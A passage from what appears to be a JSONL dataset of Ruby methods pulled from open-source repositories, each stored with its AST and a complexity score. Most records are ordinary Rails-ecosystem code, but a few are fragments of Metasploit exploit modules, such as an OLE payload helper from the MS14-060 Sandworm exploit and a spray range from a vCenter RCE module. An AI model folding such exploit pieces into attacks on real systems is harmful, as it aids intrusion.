",\"children\":[\"SSL\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Use SSL\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"c4a1156c-eaad-47ed-a92f-de61bc827ca2"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/vmware_vcenter_uploadova_rce.rb","start_line":107,"raw_source":"def spray_and_pray_range\n (spray_and_pray_min..spray_and_pray_max).to_a\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"spray_and_pray_range\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spray_and_pray_min\"]},{\"type\":\"send\",\"children\":[null,\"spray_and_pray_max\"]}]}]},\"to_a\"]}]}","id":"4a322199-1aa6-4fc7-8d00-60126e5f1463"} {"repo_name":"spree","file_path":"./repos/spree/core/app/models/concerns/spree/payment_source_concern.rb","start_line":29,"raw_source":"def can_credit?(payment)\n payment.completed? && payment.credit_allowed > 0\n end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"can_credit?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payment\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payment\"]},\"completed?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payment\"]},\"credit_allowed\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"7d499440-6aa2-4a9f-9b21-0fb378e666f4"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/lib/api/v3/file_links/work_packages_file_links_create_endpoint.rb","start_line":34,"raw_source":"def self_link(request)\n request.api_v3_paths.file_links(request.work_package.id)\n end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"self_link\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"api_v3_paths\"]},\"file_links\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"work_package\"]},\"id\"]}]}]}","id":"e62d5b38-360d-4f02-abd1-c558f7c93222"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/base/sessions/meterpreter_java.rb","start_line":25,"raw_source":"def native_arch\n @native_arch ||= self.core.native_arch\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"native_arch\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@native_arch\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"core\"]},\"native_arch\"]}]}]}","id":"997aa907-51f1-4224-aae9-4605f4ef0948"} {"repo_name":"hanami","file_path":"./repos/hanami/spec/integration/container/auto_injection_spec.rb","start_line":5,"raw_source":"def with_app\n with_tmp_directory(Dir.mktmpdir) do\n write \"config/app.rb\", <<~RUBY\n require \"hanami\"\n\n module TestApp\n class App < Hanami::App\n end\n end\n RUBY\n\n write \"app/some_service.rb\", <<~'RUBY'\n module TestApp\n class SomeService\n end\n end\n RUBY\n\n write \"app/some_operation.rb\", <<~'RUBY'\n module TestApp\n class SomeOperation\n include Deps[\"some_service\"]\n end\n end\n RUBY\n\n yield\n end\n end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"with_app\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_tmp_directory\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"mktmpdir\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"write\",{\"type\":\"str\",\"children\":[\"config/app.rb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"require \\\"hanami\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"module TestApp\\n\"]},{\"type\":\"str\",\"children\":[\" class App < Hanami::App\\n\"]},{\"type\":\"str\",\"children\":[\" end\\n\"]},{\"type\":\"str\",\"children\":[\"end\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"write\",{\"type\":\"str\",\"children\":[\"app/some_service.rb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"module TestApp\\n\"]},{\"type\":\"str\",\"children\":[\" class SomeService\\n\"]},{\"type\":\"str\",\"children\":[\" end\\n\"]},{\"type\":\"str\",\"children\":[\"end\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"write\",{\"type\":\"str\",\"children\":[\"app/some_operation.rb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"module TestApp\\n\"]},{\"type\":\"str\",\"children\":[\" class SomeOperation\\n\"]},{\"type\":\"str\",\"children\":[\" include Deps[\\\"some_service\\\"]\\n\"]},{\"type\":\"str\",\"children\":[\" end\\n\"]},{\"type\":\"str\",\"children\":[\"end\\n\"]}]}]},{\"type\":\"yield\",\"children\":[]}]}]}]}","id":"0fb1857b-4ebd-4ebe-ab8c-39ae45081778"} {"repo_name":"manageiq","file_path":"./repos/manageiq/spec/support/evm_spec_helper.rb","start_line":16,"raw_source":"def self.vmware_nested_folders(ems)\n datacenters = FactoryBot.create(:ems_folder, :name => 'Datacenters').tap { |x| x.parent = ems }\n nested = FactoryBot.create(:ems_folder, :name => 'nested').tap { |x| x.parent = datacenters }\n testing = FactoryBot.create(:ems_folder, :name => 'testing').tap { |x| x.parent = nested }\n FactoryBot.create(:datacenter).tap { |x| x.parent = testing }\n end","complexity_score":20.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"vmware_nested_folders\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ems\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"datacenters\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FactoryBot\"]},\"create\",{\"type\":\"sym\",\"children\":[\"ems_folder\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Datacenters\"]}]}]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"parent=\",{\"type\":\"lvar\",\"children\":[\"ems\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"nested\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FactoryBot\"]},\"create\",{\"type\":\"sym\",\"children\":[\"ems_folder\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"nested\"]}]}]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"parent=\",{\"type\":\"lvar\",\"children\":[\"datacenters\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"testing\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FactoryBot\"]},\"create\",{\"type\":\"sym\",\"children\":[\"ems_folder\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"testing\"]}]}]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"parent=\",{\"type\":\"lvar\",\"children\":[\"nested\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FactoryBot\"]},\"create\",{\"type\":\"sym\",\"children\":[\"datacenter\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"parent=\",{\"type\":\"lvar\",\"children\":[\"testing\"]}]}]}]}]}","id":"f5e41034-1089-4dc0-aaf2-0d83e801b6b4"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/middleware/path_traversal_check.rb","start_line":34,"raw_source":"def call(env)\n return @app.call(env) unless Feature.enabled?(:check_path_traversal_middleware, Feature.current_request)\n\n request = ::ActionDispatch::Request.new(env.dup)\n log_params = {}\n\n return @app.call(env) unless path_traversal_attempt?(request, log_params)\n\n log_params[:request_rejected] = true\n\n # TODO Remove this when https://gitlab.com/gitlab-org/ruby/gems/labkit-ruby/-/issues/41 is implemented\n log_params[:remote_ip] = request.remote_ip\n\n log(log_params)\n\n REJECT_RESPONSE\n end","complexity_score":15.6,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"enabled?\",{\"type\":\"sym\",\"children\":[\"check_path_traversal_middleware\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"current_request\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@app\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ActionDispatch\"]},\"Request\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"dup\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"log_params\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"path_traversal_attempt?\",{\"type\":\"lvar\",\"children\":[\"request\"]},{\"type\":\"lvar\",\"children\":[\"log_params\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@app\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log_params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"request_rejected\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log_params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"remote_ip\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"remote_ip\"]}]},{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"lvar\",\"children\":[\"log_params\"]}]},{\"type\":\"const\",\"children\":[null,\"REJECT_RESPONSE\"]}]}]}","id":"515583dd-dcf7-4bd0-814b-68f65afa6eaa"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/internal_affairs/node_pattern_groups/ast_walker.rb","start_line":116,"raw_source":"def sequences_match?(types)\n # Ensure all given types have the same type and the same sequence\n # ie. `(send ...)` and `(csend ...) is a match\n # `(send)` and `(csend ...)` is not a match\n # `send` and `(csend ...)` is not a match\n\n types.each_cons(2).all? do |left, right|\n left.type == right.type && left.children[1..] == right.children[1..]\n end\n end","complexity_score":16.65,"ast_json":"{\"type\":\"def\",\"children\":[\"sequences_match?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"types\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"types\"]},\"each_cons\",{\"type\":\"int\",\"children\":[2]}]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"left\"]},{\"type\":\"arg\",\"children\":[\"right\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"left\"]},\"type\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"right\"]},\"type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"left\"]},\"children\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},null]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"right\"]},\"children\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},null]}]}]}]}]}]}","id":"5b82d765-cca7-4e0d-b8ee-bafce78e0c1c"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/agent_bots_controller.rb","start_line":12,"raw_source":"def create\n @agent_bot = Current.account.agent_bots.create!(permitted_params.except(:avatar_url))\n process_avatar_from_url\n end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@agent_bot\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Current\"]},\"account\"]},\"agent_bots\"]},\"create!\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_params\"]},\"except\",{\"type\":\"sym\",\"children\":[\"avatar_url\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"process_avatar_from_url\"]}]}]}","id":"49d10ce9-7ce7-4bdd-ab68-32d4c38005fd"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/validators/future_date_validator.rb","start_line":14,"raw_source":"def validate_each(record, attribute, value)\n record.errors.add(attribute, _('cannot be a date in the past')) if value < Date.current\n end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_each\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]},{\"type\":\"arg\",\"children\":[\"attribute\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"current\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"errors\"]},\"add\",{\"type\":\"lvar\",\"children\":[\"attribute\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"cannot be a date in the past\"]}]}]},null]}]}","id":"e9d81fe3-f14e-4230-baf9-673921ef9b37"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/project/web_ide/vscode.rb","start_line":212,"raw_source":"def commit_toggle(message)\n within_vscode_editor do\n if has_commit_pending_tab?(wait: 0)\n click_commit_pending_tab\n else\n click_commit_tab\n end\n\n has_commit_message_box?\n enter_commit_message(message)\n has_text?(message)\n click_commit_button\n has_notification_box?\n end\n end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"commit_toggle\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_vscode_editor\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_commit_pending_tab?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[null,\"click_commit_pending_tab\"]},{\"type\":\"send\",\"children\":[null,\"click_commit_tab\"]}]},{\"type\":\"send\",\"children\":[null,\"has_commit_message_box?\"]},{\"type\":\"send\",\"children\":[null,\"enter_commit_message\",{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"send\",\"children\":[null,\"has_text?\",{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"send\",\"children\":[null,\"click_commit_button\"]},{\"type\":\"send\",\"children\":[null,\"has_notification_box?\"]}]}]}]}","id":"245fbd1e-f7de-43cd-a9fa-e06feb964f32"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/plugin/instance.rb","start_line":1139,"raw_source":"def register_email_unsubscriber(type, unsubscriber)\n core_types = [UnsubscribeKey::ALL_TYPE, UnsubscribeKey::DIGEST_TYPE, UnsubscribeKey::TOPIC_TYPE]\n raise ArgumentError.new(\"Type already exists\") if core_types.include?(type)\n if !unsubscriber.ancestors.include?(EmailControllerHelper::BaseEmailUnsubscriber)\n raise ArgumentError.new(\"Not an email unsubscriber\")\n end\n\n DiscoursePluginRegistry.register_email_unsubscriber({ type => unsubscriber }, self)\n end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"register_email_unsubscriber\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"arg\",\"children\":[\"unsubscriber\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"core_types\",{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UnsubscribeKey\"]},\"ALL_TYPE\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UnsubscribeKey\"]},\"DIGEST_TYPE\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UnsubscribeKey\"]},\"TOPIC_TYPE\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"core_types\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},\"new\",{\"type\":\"str\",\"children\":[\"Type already exists\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unsubscriber\"]},\"ancestors\"]},\"include?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmailControllerHelper\"]},\"BaseEmailUnsubscriber\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},\"new\",{\"type\":\"str\",\"children\":[\"Not an email unsubscriber\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscoursePluginRegistry\"]},\"register_email_unsubscriber\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"unsubscriber\"]}]}]},{\"type\":\"self\",\"children\":[]}]}]}]}","id":"2ce8b5d0-d8dd-4302-9b16-a6d1b2ae9c02"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/abstract_controller/railties/routes_helpers.rb","start_line":10,"raw_source":"def self.with(routes, include_path_helpers = true)\n Module.new do\n define_method(:inherited) do |klass|\n super(klass)\n\n if namespace = klass.module_parents.detect { |m| m.respond_to?(:railtie_routes_url_helpers) }\n klass.include(namespace.railtie_routes_url_helpers(include_path_helpers))\n else\n klass.include(routes.url_helpers(include_path_helpers))\n end\n end\n end\n end","complexity_score":27.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"with\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"routes\"]},{\"type\":\"optarg\",\"children\":[\"include_path_helpers\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Module\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_method\",{\"type\":\"sym\",\"children\":[\"inherited\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"namespace\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"module_parents\"]},\"detect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"railtie_routes_url_helpers\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"include\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespace\"]},\"railtie_routes_url_helpers\",{\"type\":\"lvar\",\"children\":[\"include_path_helpers\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"include\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"routes\"]},\"url_helpers\",{\"type\":\"lvar\",\"children\":[\"include_path_helpers\"]}]}]}]}]}]}]}]}","id":"2a48b7d5-fbb1-46c0-98bf-098b5625399f"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bulk_imports/groups/loaders/group_loader.rb","start_line":61,"raw_source":"def two_factor_requirements_met?(current_user, data)\n return true unless data.has_key?(TWO_FACTOR_KEY) && data[TWO_FACTOR_KEY]\n\n current_user.two_factor_enabled?\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"two_factor_requirements_met?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current_user\"]},{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"has_key?\",{\"type\":\"const\",\"children\":[null,\"TWO_FACTOR_KEY\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"const\",\"children\":[null,\"TWO_FACTOR_KEY\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_user\"]},\"two_factor_enabled?\"]}]}]}","id":"5dd85a01-144d-4476-b171-8ab64f526d5f"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/test/abstract/callbacks_test.rb","start_line":488,"raw_source":"def with_raise_on_missing_callback_actions\n old_raise_on_missing_callback_actions = ControllerWithCallbacks.raise_on_missing_callback_actions\n ControllerWithCallbacks.raise_on_missing_callback_actions = true\n yield\n ensure\n ControllerWithCallbacks.raise_on_missing_callback_actions = old_raise_on_missing_callback_actions\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"with_raise_on_missing_callback_actions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"old_raise_on_missing_callback_actions\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ControllerWithCallbacks\"]},\"raise_on_missing_callback_actions\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ControllerWithCallbacks\"]},\"raise_on_missing_callback_actions=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ControllerWithCallbacks\"]},\"raise_on_missing_callback_actions=\",{\"type\":\"lvar\",\"children\":[\"old_raise_on_missing_callback_actions\"]}]}]}]}","id":"ea415dea-9f2b-4888-8092-fa43b71a79c4"} {"repo_name":"discourse","file_path":"./repos/discourse/script/bulk_import/generic_bulk.rb","start_line":1762,"raw_source":"def import_uploads\n return if !@uploads_db\n\n puts \"\", \"Importing uploads...\"\n\n uploads = query(<<~SQL, db: @uploads_db)\n SELECT id, upload\n FROM uploads\n WHERE upload IS NOT NULL\n ORDER BY rowid\n SQL\n\n create_uploads(uploads) do |row|\n next if upload_id_from_original_id(row[\"id\"]).present?\n\n upload = JSON.parse(row[\"upload\"], symbolize_names: true)\n upload[:original_id] = row[\"id\"]\n upload\n end\n\n uploads.close\n end","complexity_score":19.6,"ast_json":"{\"type\":\"def\",\"children\":[\"import_uploads\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@uploads_db\"]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"Importing uploads...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"uploads\",{\"type\":\"send\",\"children\":[null,\"query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT id, upload\\n\"]},{\"type\":\"str\",\"children\":[\" FROM uploads\\n\"]},{\"type\":\"str\",\"children\":[\" WHERE upload IS NOT NULL\\n\"]},{\"type\":\"str\",\"children\":[\" ORDER BY rowid\\n\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"db\"]},{\"type\":\"ivar\",\"children\":[\"@uploads_db\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_uploads\",{\"type\":\"lvar\",\"children\":[\"uploads\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"upload_id_from_original_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]},\"present?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"upload\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"upload\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"symbolize_names\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"original_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]},{\"type\":\"lvar\",\"children\":[\"upload\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uploads\"]},\"close\"]}]}]}","id":"a51c9959-cd48-45d2-b507-76851d613aab"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/ms14_060_sandworm.rb","start_line":177,"raw_source":"def ole_exe(file_name)\n content = \"EmbeddedStg1.txt\\x00\"\n content << \"#{@unc}\\\\#{file_name}\\x00\"\n\n data = [content.length].pack('V')\n data << content\n\n ole = create_ole(\"\\x01OLE10Native\", data)\n\n ole\n 